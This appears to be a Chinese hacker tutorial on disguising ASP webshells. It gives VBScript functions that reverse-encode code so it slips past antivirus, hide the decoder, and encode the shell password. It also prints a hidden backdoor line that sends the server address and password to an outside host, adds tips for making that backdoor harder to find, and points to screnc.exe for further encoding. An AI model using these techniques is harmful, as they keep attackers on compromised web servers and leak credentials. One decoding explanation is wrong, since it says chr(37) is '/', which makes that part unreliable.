function uncode(psencode)
for psi=1 to len(psencode)
if mid(psencode,psi,1)<>"鹏" then
psnewstr=mid(psencode,psi,1)&psnewstr
else
psnewstr=vbcrlf&psnewstr
end if
next
uncode=psnewstr
end function
这样我们就可以将asp中的rrs函数用 execute(uncode("bus dne鹏)rts(etirw.esnopser 鹏)rts(srr bus")) 代替掉 sub rrs(str) response.write(str) end sub 我们可以利用这个加密函数加密多处,这样多加密一般可以免杀大马 (2)加密解密函数 直接调用解密函数,很容易使自己的解密函数泄露,我们可以利用一个函数来加密我们的加密函数,这样就难找一点了,这主要是为了保护我们的马,对于上面我们的解密函数,我们可以再写一个加密函数,然后调用execute来,这样就可以隐藏我们的解密函数了。这样我们解密函数的源代码就不会明文出现在webshell里了 (3)嵌套加密 我们可以在主加密函数里面嵌套次加密函数,不过这样我们需要对应的写出多个解密函数,这样加密比较侧地,小破孩就马就是采用这种加密方法。由于方法相同,我就不多啰嗦了,大家有兴趣可以自己去研究下幽月或小破孩的,我这里有源码,想要的可以到我博客(hi.baidu.com/novaa) 2.密码的加密 大家是否遇见过webshell的密码是很长的数字,20多位或30多位。这就是对密码加密了的,通过对密码加密,可以防止别人通过查看我们的源代码得到我们的密码,除非他完全解密了我们的webshell,否则我们大马就是安全的。这里看一个对密码加密的函数。 function enpass(psstr,pos)
dim i,psnewstr
for i = 1 to len(psstr)
psnewstr= psnewstr& asc(mid(psstr, i, 1)) pos & (20080808-pos)
next
enpass =psnewstr
end function
上面的这个加密函数是对每一位密码的数字取ascii码,然后加上pos & (20080808-pos)&i,这里注意&是连接字符,比如n&ov&aa结果是novaa 然后我们把解密后的部分定义为userpass 然后在验证的地方通过 enpass(request.form("pass"),pn)=userpass 来进行身份验证,当然,通过修改密码的验证方式可以轻松的修改密码,但是前提是你已经完全解密了这个webshell了。 3.后门的隐藏技术 怎么隐藏后门?其实主要就利用asp的自带函数和一些其他技巧,这里我以破小孩后门来解释 rrs"<div style=""cursor:url('http://"&chr(37)&"77"&chr(37)&"2e1"&chr(39-pos)&""&(4 pos)&"cl"&chr(37)&"34."&chr(37)&"63o"&chr(37)&"6d/%"&(36 pos)&"/?u="&serveru&"&p="&userpass&"')"">"
这个和幽月的后门隐藏技术差不多,都是利用了ascii编码和html编码,chr(37)是"/",我们把它还原就是
http://w.1ll4.com/8/?u="&serveru&"&p="&userpass&"
这里我们可以做的更隐蔽些。 1.我们查找后门的时候一般是利用查找有userpass的地方,因此,我们可以利用enpass(request.form("pass"),pn)赋值给另一个变量canyou,然后把&p="&userpass&"换为&p="&canyou&" 2.我们可以利用webshell里面自带的常量来代替http,以为http也是经常用来找后门的地方,比如sot(13,0) = "microsoft.xmlhttp"这里就有http,我们利用right函数来取得sot(13,0) 右边的4个字符,然后代替后门中的http 二:工具加密 利用微软的脚本加密工具screnc.exe对我们初步加密的webshell进行再次的加密,这样我们的webshell就完全成了一堆乱码了 有了上面的加密知识,相信大家很快可以掌握asp的解密,方法都是一样的,然后大家就可以玩玩除后门了。
您可能感兴趣的文章:
如您对本文有疑问或者有任何想说的,请点击进行留言回复,万千网友为您解惑!
网友评论